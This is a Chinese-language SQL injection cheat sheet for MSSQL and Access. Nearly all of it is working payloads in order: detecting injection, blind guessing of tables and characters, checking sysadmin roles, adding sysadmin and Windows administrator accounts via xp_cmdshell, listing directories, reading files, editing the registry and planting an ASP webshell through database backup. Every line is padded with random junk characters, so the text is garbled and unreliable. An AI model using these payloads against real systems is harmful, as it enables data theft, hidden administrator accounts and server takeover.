1.判断是否有注入;and 1=1 ;and 1=2 -%t2_g,
2.初步判断是否是mssql ;and user>0 'hl4cHk14
WZJ}HHePr
3.注入参数是字符'and [查询条件] and ''=' 8^%Nl `_2B
h?ZxS
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 0N19R 5NN8
&ZUV=q%g9n
5.判断数据库系统 U#U nM,3%
}0?\H)/edP
;and (select count(*) from sysobjects)>0 mssql ]M5w!O!
o `N /w
;and (select count(*) from msysobjects)>0 access V_Oj?MMpn
x-HN]quhe
\%+5p"Z<
]7yr.4?a
6.猜数据库 ;and (select Count(*) from [数据库名])>0 G@Y!*ZH*f
O5eTkKUc
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 o7;#B)jWS
CDTM<0`%
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 2RC|u?+@
{`M
'ruy.%
9.(1)猜字段的ascii值(access) 'lD"{^
mIX[HDy:V$
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
+*aZ9g
Z&E!m
(2)猜字段的ascii值(mssql) zwa%$U
(+ibT;!]
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 !+# pGSk
oyeJ"E2
10.测试权限结构(mssql) b
qNM
rW(<[2 vg
:v>Nz7SB
mE}@}@(
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- QZs ]'*=#
O^,%V{]6\
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- r1)@ 7Nt
#[C=LGi
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- e7^B3FOx
<4|/AF*>
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- swh8-_[c/
K7CrRT3>6
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- gLL8-T[9
at-+%e
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 2)zAX"#/
`oq][|
;and 1=(select IS_MEMBER('db_owner'));-- n$oHr
k Z>Xl- LV
]F4.m
m=hUHA,p4
11.添加mssql和系统的帐户 7}2Aq
~d072qUos
;exec master.dbo.sp_addlogin username;-- 2/W5E-tn
;exec master.dbo.sp_password null,username,password;-- 6*\WH%
yxx'g+D*
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- R@8pKCL.
T7bDt
;exec master.dbo.xp_cmdshell 'net user username password -)p
S\$GC
NB|yLkoDyI
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 5v`[c+@F
t.`&Q|a
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 7(S66
=W_Pph
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- (Iz$_(
Oe["4C
%7y8a`}
zY=eeG+4s
12.(1)遍历目录 bk}'wcX<+]
%qYiE!%&
;create table dirs(paths varchar(100), id int) j@HOU~x
P`xQL
;insert dirs exec master.dbo.xp_dirtree 'c:\' QU;bDNq,c
JE<w7:R&
;and (select top 1 paths from dirs)>0 y k{8O.g
+M=`3jioL
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) nde_%d$
dz>2/'
j
LS<S_`
lIUaGz|
(2)遍历目录 Sr#\5UDS
U7do,jCoa
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 45aUz@
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 _* m<Z;Et
lPaTkZw
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 *
",/7(
8%ea(|Wjg
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 "-T[D9(A
MOia]5
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 E;tEmGf6F
LN0pC}F
w5+H9R6
J^V}%N".
13.mssql中的存储过程 @$aGVEcU$
6Lb(oY}\3
xp_regenumvalues 注册表根键, 子键
B8~JUGD
6D&{+;
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 !Soz??~o/
uSgR|b;R]
xp_regread 根键,子键,键值名 W2Ik!wEe&
xk*&zAt
;exec xp_regread srCpgs]h
-Is;cbfLj/
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ZO#f)>s2
h4#y'E!,Z
xp_regwrite 根键,子键, 值名, 值类型, 值 q)j_QbW)
e=^^TX`I
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 {U'\2Ge<m
tP][o494\&
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ?yc{@|
%;eD.If}
xp_regdeletevalue 根键,子键,值名 e~U]yg5X-
m!K`?P]:N
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 CBr(a'3{Z
Fd86P.Df
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 2z9s$tp
H[_i=X3-~
&"r /&7:
7,lnfCm H
14.mssql的backup创建webshell `+m:@0&L
lHUd<kEC
use model f
OasX!=
TtQ'I}7q
create table cmd(str image); @ tvz9N
(QTF+~)
insert into cmd(str) values (''); lQM&q
w7@TM%nS
backup database model to disk='c:\l.asp'; |z7V1xF
6Hp+?mmh
Uv m:`e~?
?Kt F!:_C
15.mssql内置函数 RY
.@_{
^B)f!HtU
;and (select @@version)>0 获得Windows的版本号 'eo/"~/*w
'^.`mT'P
;and user_name()='dbo' 判断当前系统的连接用户是不是sa Fq$r>tmV
R4y]<8}
;and (select user_name())>0 爆当前系统的连接用户 'Qh1$X)R7a
yAiO._U
;and (select db_name())>0 得到当前连接的数据库 PU,%Y_xR
1Q/=s,{u
^)y8X.iO
Y}]-o9Rl
16.简洁的webshell M#_|WL~
`Gj(>z*
use model s IFE:/1,
zM,r0Z
create table cmd(str image); p0[+Zm{#l
`*l aUn
insert into cmd(str) values (''); n$F~
4*ZY#7h
backup database model to disk='g:\wwwtest\l.asp';